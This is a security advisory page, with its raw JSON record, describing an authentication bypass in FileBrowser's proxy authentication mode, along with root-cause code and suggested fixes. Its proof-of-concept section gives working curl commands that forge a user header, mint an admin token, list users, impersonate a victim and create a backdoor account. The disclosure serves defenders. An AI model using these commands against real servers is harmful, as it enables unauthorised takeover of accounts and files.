Vulnerability-Lookup

GHSA-XQP3-JQ6G-X3QM

Vulnerability from github – Published: 2026-07-10 19:27 – Updated: 2026-07-10 19:27

Summary

File Browser: Authentication Bypass via Proxy Auth Header Forgery

Details

Summary

When FileBrowser is configured with proxy authentication (auth.method=proxy), any unauthenticated attacker who can reach the server directly can impersonate any user - including admin - by sending a single forged HTTP header. No credentials are required. Additionally, specifying a non-existent username causes the server to automatically create a new user account, providing an account creation primitive with no authorization.

This is an already known issue that has been documented in the documentation for several years, but has not been documented as a vulnerability before.

Severity

HIGH - CVSS 3.1: 8.1 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N)

Affected Component

File: auth/proxy.go, lines 21-28
CWE: CWE-287 (Improper Authentication), CWE-290 (Authentication Bypass by Spoofing)
Affected versions: All versions supporting auth.method=proxy

Prerequisite: Proxy Auth Must Be Enabled

This vulnerability is NOT exploitable on default configuration (auth.method=json). It requires the administrator to have configured proxy authentication mode. However, this is a common production deployment pattern - many organizations run FileBrowser behind a reverse proxy that handles SSO/LDAP/OAuth authentication:

nginx + Authelia / Authentik
Traefik + OAuth2 Proxy
Caddy + forward_auth
Apache + mod_auth_ldap

In these setups, the proxy authenticates the user and passes the username via HTTP header (e.g., X-Remote-User). FileBrowser trusts this header to identify the user.

Deployment Scenario	Exploitable?
Default install (`auth.method=json`)	No — JSON auth uses password verification
`auth.method=proxy` + FileBrowser only reachable via proxy (bound to `127.0.0.1` or firewalled)	No - attacker cannot reach the server directly
`auth.method=proxy` + FileBrowser port exposed to network	Yes - full admin takeover

The third scenario is common because: - Docker containers publish ports to 0.0.0.0 by default (e.g., -p 8085:80) - Administrators expose the port for debugging, monitoring, or health checks - Cloud deployments may have misconfigured security groups or load balancers - Internal networks often lack strict micro-segmentation

The core issue is that the code itself has zero defensive checks — no trusted IP validation, no shared secret, no origin verification. The entire security model relies on network-level isolation, which is fragile and not documented as a hard requirement.

Root Cause

The ProxyAuth.Auth() function unconditionally trusts the value of an HTTP request header (configured via auth.header, e.g. X-Remote-User) to determine the authenticated user's identity. There are three distinct problems in this code:

Problem 1: No Origin Validation

The function reads the header from any HTTP request regardless of source IP. It does not verify that the request originated from a trusted reverse proxy. Any client on the network can set arbitrary HTTP headers.

File: auth/proxy.go, lines 21-28:

func (a ProxyAuth) Auth(r *http.Request, usr users.Store, setting *settings.Settings, srv *settings.Server) (*users.User, error) {
    username := r.Header.Get(a.Header)  // <-- reads attacker-controlled header, no origin check
    user, err := usr.Get(srv.Root, username)
    if errors.Is(err, fberrors.ErrNotExist) {
        return a.createUser(usr, setting, srv, username)
    }
    return user, err  // <-- returns the user object, no password verification
}

There is no call to verify r.RemoteAddr against a list of trusted proxy IPs, no shared secret validation, and no signature check on the header value.

Problem 2: No Password Verification

Unlike JSON auth (auth/json.go) which validates the password via bcrypt, the proxy auth path returns the user object directly from the database based solely on the header value. The loginHandler in http/auth.go then mints a valid JWT for this user:

File: http/auth.go, lines 121-137:

func loginHandler(tokenExpireTime time.Duration) handleFunc {
    return func(w http.ResponseWriter, r *http.Request, d *data) (int, error) {
        auther, err := d.store.Auth.Get(d.settings.AuthMethod)
        // ...
        user, err := auther.Auth(r, d.store.Users, d.settings, d.server)
        // No additional verification — if auther.Auth() returns a user, a JWT is minted
        return printToken(w, r, d, user, tokenExpireTime)  // <-- signs and returns JWT
    }
}

Problem 3: Automatic User Creation

If the username in the header doesn't exist in the database, createUser() is called unconditionally. This creates a real user account with default permissions, a random locked password, and a home directory:

File: auth/proxy.go, lines 30-63:

func (a ProxyAuth) createUser(usr users.Store, setting *settings.Settings, srv *settings.Server, username string) (*users.User, error) {
    pwd, err := users.RandomPwd(randomPasswordLength)
    // ...
    user := &users.User{
        Username:     username,       // <-- attacker-controlled
        Password:     hashedRandomPassword,
        LockPassword: true,
    }
    setting.Defaults.Apply(user)      // <-- inherits default permissions (may include execute, create, etc.)
    // ...
    err = usr.Save(user)              // <-- persisted to database
    return user, nil
}

This auto-creation has no opt-in flag — it is always active when proxy auth is enabled.

Complete Attack Flow

Attacker sends:   POST /api/login  +  Header: X-Remote-User: admin
                                         |
loginHandler()                           |
  |-> d.store.Auth.Get("proxy")         |
  |-> auther.Auth(r, ...)               |
        |-> ProxyAuth.Auth()             |
              |-> r.Header.Get("X-Remote-User")  ->  "admin"     (attacker-controlled)
              |-> usr.Get(root, "admin")          ->  admin user  (found in DB)
              |-> return user, nil                ->  no password check
  |-> printToken(w, r, d, user, ...)    |
        |-> jwt.NewWithClaims(HS256, claims{user: admin, perm: {admin: true}})
        |-> token.SignedString(key)     ->  valid admin JWT returned to attacker

Proof of Concept

Here is Log testing using Low Privileges Account attacker, get forbidden Login as low priv user then get the auth token "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjp7ImlkIjozLCJsb2NhbGUiOiIiLCJ2aWV3TW9kZSI6Imxpc3QiLCJzaW5nbGVDbGljayI6ZmFsc2UsInJlZGlyZWN0QWZ0ZXJDb3B5TW92ZSI6ZmFsc2UsInBlcm0iOnsiYWRtaW4iOmZhbHNlLCJleGVjdXRlIjp0cnVlLCJjcmVhdGUiOmZhbHNlLCJyZW5hbWUiOmZhbHNlLCJtb2RpZnkiOmZhbHNlLCJkZWxldGUiOmZhbHNlLCJzaGFyZSI6ZmFsc2UsImRvd25sb2FkIjp0cnVlfSwiY29tbWFuZHMiOlsibHMiXSwibG9ja1Bhc3N3b3JkIjpmYWxzZSwiaGlkZURvdGZpbGVzIjpmYWxzZSwiZGF0ZUZvcm1hdCI6ZmFsc2UsInVzZXJuYW1lIjoiYXR0YWNrZXIiLCJhY2VFZGl0b3JUaGVtZSI6IiJ9LCJpc3MiOiJGaWxlIEJyb3dzZXIiLCJleHAiOjE3NzMwMjc2ODksImlhdCI6MTc3MzAyMDQ4OX0.NN0SqBr8lFj7QUACY2770gaGXZhBZ2qJZHDJJ7vQbNM"

root@LAPTOP-VUMRCEKO:~# curl -s http://localhost:8085/api/settings \
  -H "X-Auth: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjp7ImlkIjozLCJsb2NhbGUiOiIiLCJ2aWV3TW9kZSI6Imxpc3QiLCJzaW5nbGVDbGljayI6ZmFsc2UsInJlZGlyZWN0QWZ0ZXJDb3B5TW92ZSI6ZmFsc2UsInBlcm0iOnsiYWRtaW4iOmZhbHNlLCJleGVjdXRlIjp0cnVlLCJjcmVhdGUiOmZhbHNlLCJyZW5hbWUiOmZhbHNlLCJtb2RpZnkiOmZhbHNlLCJkZWxldGUiOmZhbHNlLCJzaGFyZSI6ZmFsc2UsImRvd25sb2FkIjp0cnVlfSwiY29tbWFuZHMiOlsibHMiXSwibG9ja1Bhc3N3b3JkIjpmYWxzZSwiaGlkZURvdGZpbGVzIjpmYWxzZSwiZGF0ZUZvcm1hdCI6ZmFsc2UsInVzZXJuYW1lIjoiYXR0YWNrZXIiLCJhY2VFZGl0b3JUaGVtZSI6IiJ9LCJpc3MiOiJGaWxlIEJyb3dzZXIiLCJleHAiOjE3NzMwMjc2ODksImlhdCI6MTc3MzAyMDQ4OX0.NN0SqBr8lFj7QUACY2770gaGXZhBZ2qJZHDJJ7vQbNM"
403 Forbidden
root@LAPTOP-VUMRCEKO:~#
root@LAPTOP-VUMRCEKO:~#
root@LAPTOP-VUMRCEKO:~# FORGED_TOKEN=$(curl -s -X POST http://localhost:8085/api/login \
  -H "X-Remote-User: admin")
root@LAPTOP-VUMRCEKO:~#
root@LAPTOP-VUMRCEKO:~# curl -s http://localhost:8085/api/settings \
  -H "X-Auth: $FORGED_TOKEN" | python3 -m json.tool
{
    "signup": false,
    "hideLoginButton": true,
    "createUserDir": false,
    "minimumPasswordLength": 12,
    "userHomeBasePath": "/users",
    "defaults": {
        "scope": ".",
        "locale": "en",
        "viewMode": "mosaic",
        "singleClick": false,
        "redirectAfterCopyMove": true,
        "sorting": {
            "by": "",
            "asc": false
        },
        "perm": {
            "admin": false,
            "execute": true,
            "create": true,
            "rename": true,
            "modify": true,
            "delete": true,
            "share": true,
            "download": true
        },
        "commands": [],
        "hideDotfiles": false,
        "dateFormat": false,
        "aceEditorTheme": ""
    },
    "authMethod": "proxy",
    "rules": [],
    "branding": {
        "name": "",
        "disableExternal": false,
        "disableUsedPercentage": false,
        "files": "",
        "theme": "",
        "color": ""
    },
    "tus": {
        "chunkSize": 10485760,
        "retryCount": 5
    },
    "shell": [
        "/bin/sh",
        "-c"
    ],
    "commands": {
        "after_copy": [],
        "after_delete": [],
        "after_rename": [],
        "after_save": [],
        "after_upload": [],
        "before_copy": [],
        "before_delete": [],
        "before_rename": [],
        "before_save": [],
        "before_upload": []
    }
}
root@LAPTOP-VUMRCEKO:~#

Prerequisites

FileBrowser with proxy auth enabled: bash filebrowser config set --auth.method=proxy --auth.header=X-Remote-User
Server is reachable directly (not exclusively behind the reverse proxy)

Step 1: Confirm attacker (non-admin) is blocked

# Using a legitimate non-admin JWT token:
curl -s http://localhost:8085/api/settings \
  -H "X-Auth: <ATTACKER_JWT_TOKEN>"

Result: 403 Forbidden — non-admin users cannot access /api/settings

Step 2: Forge admin identity — no credentials needed

# Just one header, no password:
FORGED_TOKEN=$(curl -s -X POST http://localhost:8085/api/login \
  -H "X-Remote-User: admin")

echo "$FORGED_TOKEN"
# eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjp7ImlkIjoxLC... (608 bytes)

Result: Valid JWT token returned for admin user (ID: 1, perm.admin: true)

Step 3: Access admin-only endpoints with forged token

# Read full server configuration (admin-only):
curl -s http://localhost:8085/api/settings \
  -H "X-Auth: $FORGED_TOKEN"

Result: 200 OK - complete server settings returned:

{
    "authMethod": "proxy",
    "shell": ["/bin/sh", "-c"],
    "signup": false,
    "defaults": { "perm": { "admin": false, "execute": true, ... } },
    ...
}

Step 4: Enumerate all user accounts

curl -s http://localhost:8085/api/users \
  -H "X-Auth: $FORGED_TOKEN"

Result: All user accounts with full details (usernames, permissions, scopes, commands)

Step 5: Impersonate any other user

# Impersonate "testuser" — access their files without knowing their password:
VICTIM_TOKEN=$(curl -s -X POST http://localhost:8085/api/login \
  -H "X-Remote-User: testuser")

curl -s http://localhost:8085/api/resources/ \
  -H "X-Auth: $VICTIM_TOKEN"

Result: Full file listing of testuser's scope

Step 6: Auto-create a new user account

# This username doesn't exist — server creates it automatically:
NEW_TOKEN=$(curl -s -X POST http://localhost:8085/api/login \
  -H "X-Remote-User: backdoor_account")

Result: New user backdoor_account created in the database with default permissions, JWT returned

Validated Results

Tested against filebrowser/filebrowser:latest Docker image on 2026-03-09:

Test	Result
Attacker token (non-admin) -> `GET /api/settings`	`403 Forbidden` (blocked)
Forged header `X-Remote-User: admin` -> `POST /api/login`	`200 OK` — valid admin JWT (608 bytes)
Forged admin token -> `GET /api/settings`	`200 OK` — full server config returned
Forged admin token -> `GET /api/users`	`200 OK` — all user accounts listed
Forged header `X-Remote-User: testuser`	`200 OK` — testuser JWT, files accessible
Forged header `X-Remote-User: nonexistent_user`	`200 OK` — new user auto-created, JWT returned

Impact

An unauthenticated attacker who can reach the FileBrowser instance directly can:

Full admin takeover — impersonate the admin user and gain complete control
Read all server settings — shell configuration, permissions, branding, rules
Enumerate and impersonate all users — access every user's files without credentials
Create unlimited backdoor accounts — auto-creation generates persistent accounts
Modify server configuration — enable command execution, change shell, alter rules
Chain with other vulnerabilities — gain admin access -> enable shell mode -> achieve RCE

Attack cost: Zero credentials. One HTTP header.

Suggested Remediation

Fix 1: Add trusted proxy IP validation (recommended)

type ProxyAuth struct {
    Header         string   `json:"header"`
    TrustedProxies []string `json:"trustedProxies"` // New: list of trusted proxy IPs/CIDRs
}

func (a ProxyAuth) Auth(r *http.Request, usr users.Store, setting *settings.Settings, srv *settings.Server) (*users.User, error) {
    // Verify request originates from a trusted reverse proxy
    clientIP := realip.FromRequest(r)
    if !a.isTrustedProxy(clientIP) {
        return nil, fmt.Errorf("proxy auth: request from untrusted source %s", clientIP)
    }

    username := r.Header.Get(a.Header)
    if username == "" {
        return nil, os.ErrPermission
    }

    user, err := usr.Get(srv.Root, username)
    if errors.Is(err, fberrors.ErrNotExist) {
        if a.AutoCreateUsers {  // Make opt-in
            return a.createUser(usr, setting, srv, username)
        }
        return nil, os.ErrPermission
    }
    return user, err
}

Fix 2: Make auto-user-creation opt-in

Add a configuration flag auth.proxy.createUsers (default: false) so administrators must explicitly enable automatic account creation.

Fix 3: Documentation warning

Clearly document that when using proxy auth: - FileBrowser MUST NOT be directly accessible from untrusted networks - Bind to 127.0.0.1 or use firewall rules to ensure only the reverse proxy can reach it - The reverse proxy MUST strip/overwrite the configured header from client requests

References

Source file: https://github.com/filebrowser/filebrowser/blob/main/auth/proxy.go
Login handler: https://github.com/filebrowser/filebrowser/blob/main/http/auth.go#L121-L137
CWE-287: https://cwe.mitre.org/data/definitions/287.html
CWE-290: https://cwe.mitre.org/data/definitions/290.html
OWASP Authentication Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html

Severity

9.1 (Critical)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

Show details on source website

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{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/filebrowser/filebrowser/v2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.0.0-rc.1"
            },
            {
              "last_affected": "2.63.18"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-54089"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287",
      "CWE-290"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-10T19:27:13Z",
    "nvd_published_at": "2026-06-25T19:16:40Z",
    "severity": "CRITICAL"
  },
  "details": "## Summary\n\nWhen FileBrowser is configured with proxy authentication (`auth.method=proxy`), any unauthenticated attacker who can reach the server directly can impersonate **any user - including admin** - by sending a single forged HTTP header. No credentials are required. Additionally, specifying a non-existent username causes the server to **automatically create a new user account**, providing an account creation primitive with no authorization.\n\n**This is an already known issue that has been documented in the documentation for several years, but has not been documented as a vulnerability before.**\n\n## Severity\n\n**HIGH** - CVSS 3.1: **8.1** (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N)\n\n## Affected Component\n\n- **File:** [`auth/proxy.go`](https://github.com/filebrowser/filebrowser/blob/main/auth/proxy.go), lines 21-28\n- **CWE:** [CWE-287](https://cwe.mitre.org/data/definitions/287.html) (Improper Authentication), [CWE-290](https://cwe.mitre.org/data/definitions/290.html) (Authentication Bypass by Spoofing)\n- **Affected versions:** All versions supporting `auth.method=proxy`\n\n## Prerequisite: Proxy Auth Must Be Enabled\n\nThis vulnerability is **NOT exploitable on default configuration** (`auth.method=json`). It requires the administrator to have configured proxy authentication mode. However, this is a **common production deployment pattern** - many organizations run FileBrowser behind a reverse proxy that handles SSO/LDAP/OAuth authentication:\n\n- **nginx** + Authelia / Authentik\n- **Traefik** + OAuth2 Proxy\n- **Caddy** + forward_auth\n- **Apache** + mod_auth_ldap\n\nIn these setups, the proxy authenticates the user and passes the username via HTTP header (e.g., `X-Remote-User`). FileBrowser trusts this header to identify the user.\n\n| Deployment Scenario | Exploitable? |\n|---|---|\n| Default install (`auth.method=json`) | **No** \u2014 JSON auth uses password verification |\n| `auth.method=proxy` + FileBrowser only reachable via proxy (bound to `127.0.0.1` or firewalled) | **No** - attacker cannot reach the server directly |\n| `auth.method=proxy` + FileBrowser port exposed to network | **Yes - full admin takeover** |\n\nThe third scenario is common because:\n- Docker containers publish ports to `0.0.0.0` by default (e.g., `-p 8085:80`)\n- Administrators expose the port for debugging, monitoring, or health checks\n- Cloud deployments may have misconfigured security groups or load balancers\n- Internal networks often lack strict micro-segmentation\n\nThe core issue is that the **code itself has zero defensive checks** \u2014 no trusted IP validation, no shared secret, no origin verification. The entire security model relies on network-level isolation, which is fragile and not documented as a hard requirement.\n\n## Root Cause\n\nThe `ProxyAuth.Auth()` function unconditionally trusts the value of an HTTP request header (configured via `auth.header`, e.g. `X-Remote-User`) to determine the authenticated user\u0027s identity. There are **three distinct problems** in this code:\n\n### Problem 1: No Origin Validation\n\nThe function reads the header from **any** HTTP request regardless of source IP. It does not verify that the request originated from a trusted reverse proxy. Any client on the network can set arbitrary HTTP headers.\n\n**File: [`auth/proxy.go`](https://github.com/filebrowser/filebrowser/blob/main/auth/proxy.go), lines 21-28:**\n\n```go\nfunc (a ProxyAuth) Auth(r *http.Request, usr users.Store, setting *settings.Settings, srv *settings.Server) (*users.User, error) {\n    username := r.Header.Get(a.Header)  // \u003c-- reads attacker-controlled header, no origin check\n    user, err := usr.Get(srv.Root, username)\n    if errors.Is(err, fberrors.ErrNotExist) {\n        return a.createUser(usr, setting, srv, username)\n    }\n    return user, err  // \u003c-- returns the user object, no password verification\n}\n```\n\nThere is no call to verify `r.RemoteAddr` against a list of trusted proxy IPs, no shared secret validation, and no signature check on the header value.\n\n### Problem 2: No Password Verification\n\nUnlike JSON auth (`auth/json.go`) which validates the password via bcrypt, the proxy auth path returns the user object directly from the database based solely on the header value. The `loginHandler` in `http/auth.go` then mints a valid JWT for this user:\n\n**File: [`http/auth.go`](https://github.com/filebrowser/filebrowser/blob/main/http/auth.go), lines 121-137:**\n\n```go\nfunc loginHandler(tokenExpireTime time.Duration) handleFunc {\n    return func(w http.ResponseWriter, r *http.Request, d *data) (int, error) {\n        auther, err := d.store.Auth.Get(d.settings.AuthMethod)\n        // ...\n        user, err := auther.Auth(r, d.store.Users, d.settings, d.server)\n        // No additional verification \u2014 if auther.Auth() returns a user, a JWT is minted\n        return printToken(w, r, d, user, tokenExpireTime)  // \u003c-- signs and returns JWT\n    }\n}\n```\n\n### Problem 3: Automatic User Creation\n\nIf the username in the header doesn\u0027t exist in the database, `createUser()` is called unconditionally. This creates a real user account with default permissions, a random locked password, and a home directory:\n\n**File: [`auth/proxy.go`](https://github.com/filebrowser/filebrowser/blob/main/auth/proxy.go), lines 30-63:**\n\n```go\nfunc (a ProxyAuth) createUser(usr users.Store, setting *settings.Settings, srv *settings.Server, username string) (*users.User, error) {\n    pwd, err := users.RandomPwd(randomPasswordLength)\n    // ...\n    user := \u0026users.User{\n        Username:     username,       // \u003c-- attacker-controlled\n        Password:     hashedRandomPassword,\n        LockPassword: true,\n    }\n    setting.Defaults.Apply(user)      // \u003c-- inherits default permissions (may include execute, create, etc.)\n    // ...\n    err = usr.Save(user)              // \u003c-- persisted to database\n    return user, nil\n}\n```\n\nThis auto-creation has no opt-in flag \u2014 it is always active when proxy auth is enabled.\n\n### Complete Attack Flow\n\n```\nAttacker sends:   POST /api/login  +  Header: X-Remote-User: admin\n                                         |\nloginHandler()                           |\n  |-\u003e d.store.Auth.Get(\"proxy\")         |\n  |-\u003e auther.Auth(r, ...)               |\n        |-\u003e ProxyAuth.Auth()             |\n              |-\u003e r.Header.Get(\"X-Remote-User\")  -\u003e  \"admin\"     (attacker-controlled)\n              |-\u003e usr.Get(root, \"admin\")          -\u003e  admin user  (found in DB)\n              |-\u003e return user, nil                -\u003e  no password check\n  |-\u003e printToken(w, r, d, user, ...)    |\n        |-\u003e jwt.NewWithClaims(HS256, claims{user: admin, perm: {admin: true}})\n        |-\u003e token.SignedString(key)     -\u003e  valid admin JWT returned to attacker\n```\n\n## Proof of Concept\n\nHere is Log testing using Low Privileges Account attacker, get forbidden\nLogin as low priv user then get the auth token `\"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjp7ImlkIjozLCJsb2NhbGUiOiIiLCJ2aWV3TW9kZSI6Imxpc3QiLCJzaW5nbGVDbGljayI6ZmFsc2UsInJlZGlyZWN0QWZ0ZXJDb3B5TW92ZSI6ZmFsc2UsInBlcm0iOnsiYWRtaW4iOmZhbHNlLCJleGVjdXRlIjp0cnVlLCJjcmVhdGUiOmZhbHNlLCJyZW5hbWUiOmZhbHNlLCJtb2RpZnkiOmZhbHNlLCJkZWxldGUiOmZhbHNlLCJzaGFyZSI6ZmFsc2UsImRvd25sb2FkIjp0cnVlfSwiY29tbWFuZHMiOlsibHMiXSwibG9ja1Bhc3N3b3JkIjpmYWxzZSwiaGlkZURvdGZpbGVzIjpmYWxzZSwiZGF0ZUZvcm1hdCI6ZmFsc2UsInVzZXJuYW1lIjoiYXR0YWNrZXIiLCJhY2VFZGl0b3JUaGVtZSI6IiJ9LCJpc3MiOiJGaWxlIEJyb3dzZXIiLCJleHAiOjE3NzMwMjc2ODksImlhdCI6MTc3MzAyMDQ4OX0.NN0SqBr8lFj7QUACY2770gaGXZhBZ2qJZHDJJ7vQbNM\"`\n\n```\nroot@LAPTOP-VUMRCEKO:~# curl -s http://localhost:8085/api/settings \\\n  -H \"X-Auth: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjp7ImlkIjozLCJsb2NhbGUiOiIiLCJ2aWV3TW9kZSI6Imxpc3QiLCJzaW5nbGVDbGljayI6ZmFsc2UsInJlZGlyZWN0QWZ0ZXJDb3B5TW92ZSI6ZmFsc2UsInBlcm0iOnsiYWRtaW4iOmZhbHNlLCJleGVjdXRlIjp0cnVlLCJjcmVhdGUiOmZhbHNlLCJyZW5hbWUiOmZhbHNlLCJtb2RpZnkiOmZhbHNlLCJkZWxldGUiOmZhbHNlLCJzaGFyZSI6ZmFsc2UsImRvd25sb2FkIjp0cnVlfSwiY29tbWFuZHMiOlsibHMiXSwibG9ja1Bhc3N3b3JkIjpmYWxzZSwiaGlkZURvdGZpbGVzIjpmYWxzZSwiZGF0ZUZvcm1hdCI6ZmFsc2UsInVzZXJuYW1lIjoiYXR0YWNrZXIiLCJhY2VFZGl0b3JUaGVtZSI6IiJ9LCJpc3MiOiJGaWxlIEJyb3dzZXIiLCJleHAiOjE3NzMwMjc2ODksImlhdCI6MTc3MzAyMDQ4OX0.NN0SqBr8lFj7QUACY2770gaGXZhBZ2qJZHDJJ7vQbNM\"\n403 Forbidden\nroot@LAPTOP-VUMRCEKO:~#\nroot@LAPTOP-VUMRCEKO:~#\nroot@LAPTOP-VUMRCEKO:~# FORGED_TOKEN=$(curl -s -X POST http://localhost:8085/api/login \\\n  -H \"X-Remote-User: admin\")\nroot@LAPTOP-VUMRCEKO:~#\nroot@LAPTOP-VUMRCEKO:~# curl -s http://localhost:8085/api/settings \\\n  -H \"X-Auth: $FORGED_TOKEN\" | python3 -m json.tool\n{\n    \"signup\": false,\n    \"hideLoginButton\": true,\n    \"createUserDir\": false,\n    \"minimumPasswordLength\": 12,\n    \"userHomeBasePath\": \"/users\",\n    \"defaults\": {\n        \"scope\": \".\",\n        \"locale\": \"en\",\n        \"viewMode\": \"mosaic\",\n        \"singleClick\": false,\n        \"redirectAfterCopyMove\": true,\n        \"sorting\": {\n            \"by\": \"\",\n            \"asc\": false\n        },\n        \"perm\": {\n            \"admin\": false,\n            \"execute\": true,\n            \"create\": true,\n            \"rename\": true,\n            \"modify\": true,\n            \"delete\": true,\n            \"share\": true,\n            \"download\": true\n        },\n        \"commands\": [],\n        \"hideDotfiles\": false,\n        \"dateFormat\": false,\n        \"aceEditorTheme\": \"\"\n    },\n    \"authMethod\": \"proxy\",\n    \"rules\": [],\n    \"branding\": {\n        \"name\": \"\",\n        \"disableExternal\": false,\n        \"disableUsedPercentage\": false,\n        \"files\": \"\",\n        \"theme\": \"\",\n        \"color\": \"\"\n    },\n    \"tus\": {\n        \"chunkSize\": 10485760,\n        \"retryCount\": 5\n    },\n    \"shell\": [\n        \"/bin/sh\",\n        \"-c\"\n    ],\n    \"commands\": {\n        \"after_copy\": [],\n        \"after_delete\": [],\n        \"after_rename\": [],\n        \"after_save\": [],\n        \"after_upload\": [],\n        \"before_copy\": [],\n        \"before_delete\": [],\n        \"before_rename\": [],\n        \"before_save\": [],\n        \"before_upload\": []\n    }\n}\nroot@LAPTOP-VUMRCEKO:~#\n```\n\u003cimg width=\"1487\" height=\"757\" alt=\"image\" src=\"https://github.com/user-attachments/assets/a777321e-14a4-4720-9f8e-423d5f7cdf74\" /\u003e\n\n\n### Prerequisites\n\n- FileBrowser with proxy auth enabled:\n  ```bash\n  filebrowser config set --auth.method=proxy --auth.header=X-Remote-User\n  ```\n- Server is reachable directly (not exclusively behind the reverse proxy)\n\n### Step 1: Confirm attacker (non-admin) is blocked\n\n```bash\n# Using a legitimate non-admin JWT token:\ncurl -s http://localhost:8085/api/settings \\\n  -H \"X-Auth: \u003cATTACKER_JWT_TOKEN\u003e\"\n```\n\n**Result:** `403 Forbidden` \u2014 non-admin users cannot access `/api/settings`\n\n### Step 2: Forge admin identity \u2014 no credentials needed\n\n```bash\n# Just one header, no password:\nFORGED_TOKEN=$(curl -s -X POST http://localhost:8085/api/login \\\n  -H \"X-Remote-User: admin\")\n\necho \"$FORGED_TOKEN\"\n# eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjp7ImlkIjoxLC... (608 bytes)\n```\n\n**Result:** Valid JWT token returned for admin user (ID: 1, `perm.admin: true`)\n\n### Step 3: Access admin-only endpoints with forged token\n\n```bash\n# Read full server configuration (admin-only):\ncurl -s http://localhost:8085/api/settings \\\n  -H \"X-Auth: $FORGED_TOKEN\"\n```\n\n**Result:** `200 OK` - complete server settings returned:\n\n```json\n{\n    \"authMethod\": \"proxy\",\n    \"shell\": [\"/bin/sh\", \"-c\"],\n    \"signup\": false,\n    \"defaults\": { \"perm\": { \"admin\": false, \"execute\": true, ... } },\n    ...\n}\n```\n\n### Step 4: Enumerate all user accounts\n\n```bash\ncurl -s http://localhost:8085/api/users \\\n  -H \"X-Auth: $FORGED_TOKEN\"\n```\n\n**Result:** All user accounts with full details (usernames, permissions, scopes, commands)\n\n### Step 5: Impersonate any other user\n\n```bash\n# Impersonate \"testuser\" \u2014 access their files without knowing their password:\nVICTIM_TOKEN=$(curl -s -X POST http://localhost:8085/api/login \\\n  -H \"X-Remote-User: testuser\")\n\ncurl -s http://localhost:8085/api/resources/ \\\n  -H \"X-Auth: $VICTIM_TOKEN\"\n```\n\n**Result:** Full file listing of testuser\u0027s scope\n\n### Step 6: Auto-create a new user account\n\n```bash\n# This username doesn\u0027t exist \u2014 server creates it automatically:\nNEW_TOKEN=$(curl -s -X POST http://localhost:8085/api/login \\\n  -H \"X-Remote-User: backdoor_account\")\n```\n\n**Result:** New user `backdoor_account` created in the database with default permissions, JWT returned\n\n## Validated Results\n\nTested against `filebrowser/filebrowser:latest` Docker image on 2026-03-09:\n\n| Test | Result |\n|------|--------|\n| Attacker token (non-admin) -\u003e `GET /api/settings` | **`403 Forbidden`** (blocked) |\n| Forged header `X-Remote-User: admin` -\u003e `POST /api/login` | **`200 OK`** \u2014 valid admin JWT (608 bytes) |\n| Forged admin token -\u003e `GET /api/settings` | **`200 OK`** \u2014 full server config returned |\n| Forged admin token -\u003e `GET /api/users` | **`200 OK`** \u2014 all user accounts listed |\n| Forged header `X-Remote-User: testuser` | **`200 OK`** \u2014 testuser JWT, files accessible |\n| Forged header `X-Remote-User: nonexistent_user` | **`200 OK`** \u2014 new user auto-created, JWT returned |\n\n## Impact\n\nAn unauthenticated attacker who can reach the FileBrowser instance directly can:\n\n1. **Full admin takeover** \u2014 impersonate the admin user and gain complete control\n2. **Read all server settings** \u2014 shell configuration, permissions, branding, rules\n3. **Enumerate and impersonate all users** \u2014 access every user\u0027s files without credentials\n4. **Create unlimited backdoor accounts** \u2014 auto-creation generates persistent accounts\n5. **Modify server configuration** \u2014 enable command execution, change shell, alter rules\n6. **Chain with other vulnerabilities** \u2014 gain admin access -\u003e enable shell mode -\u003e achieve RCE\n\n**Attack cost:** Zero credentials. One HTTP header.\n\n## Suggested Remediation\n\n### Fix 1: Add trusted proxy IP validation (recommended)\n\n```go\ntype ProxyAuth struct {\n    Header         string   `json:\"header\"`\n    TrustedProxies []string `json:\"trustedProxies\"` // New: list of trusted proxy IPs/CIDRs\n}\n\nfunc (a ProxyAuth) Auth(r *http.Request, usr users.Store, setting *settings.Settings, srv *settings.Server) (*users.User, error) {\n    // Verify request originates from a trusted reverse proxy\n    clientIP := realip.FromRequest(r)\n    if !a.isTrustedProxy(clientIP) {\n        return nil, fmt.Errorf(\"proxy auth: request from untrusted source %s\", clientIP)\n    }\n\n    username := r.Header.Get(a.Header)\n    if username == \"\" {\n        return nil, os.ErrPermission\n    }\n\n    user, err := usr.Get(srv.Root, username)\n    if errors.Is(err, fberrors.ErrNotExist) {\n        if a.AutoCreateUsers {  // Make opt-in\n            return a.createUser(usr, setting, srv, username)\n        }\n        return nil, os.ErrPermission\n    }\n    return user, err\n}\n```\n\n### Fix 2: Make auto-user-creation opt-in\n\nAdd a configuration flag `auth.proxy.createUsers` (default: `false`) so administrators must explicitly enable automatic account creation.\n\n### Fix 3: Documentation warning\n\nClearly document that when using proxy auth:\n- FileBrowser **MUST NOT** be directly accessible from untrusted networks\n- Bind to `127.0.0.1` or use firewall rules to ensure only the reverse proxy can reach it\n- The reverse proxy **MUST** strip/overwrite the configured header from client requests\n\n## References\n\n- **Source file:** https://github.com/filebrowser/filebrowser/blob/main/auth/proxy.go\n- **Login handler:** https://github.com/filebrowser/filebrowser/blob/main/http/auth.go#L121-L137\n- **CWE-287:** https://cwe.mitre.org/data/definitions/287.html\n- **CWE-290:** https://cwe.mitre.org/data/definitions/290.html\n- **OWASP Authentication Cheat Sheet:** https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html",
  "id": "GHSA-xqp3-jq6g-x3qm",
  "modified": "2026-07-10T19:27:13Z",
  "published": "2026-07-10T19:27:13Z",
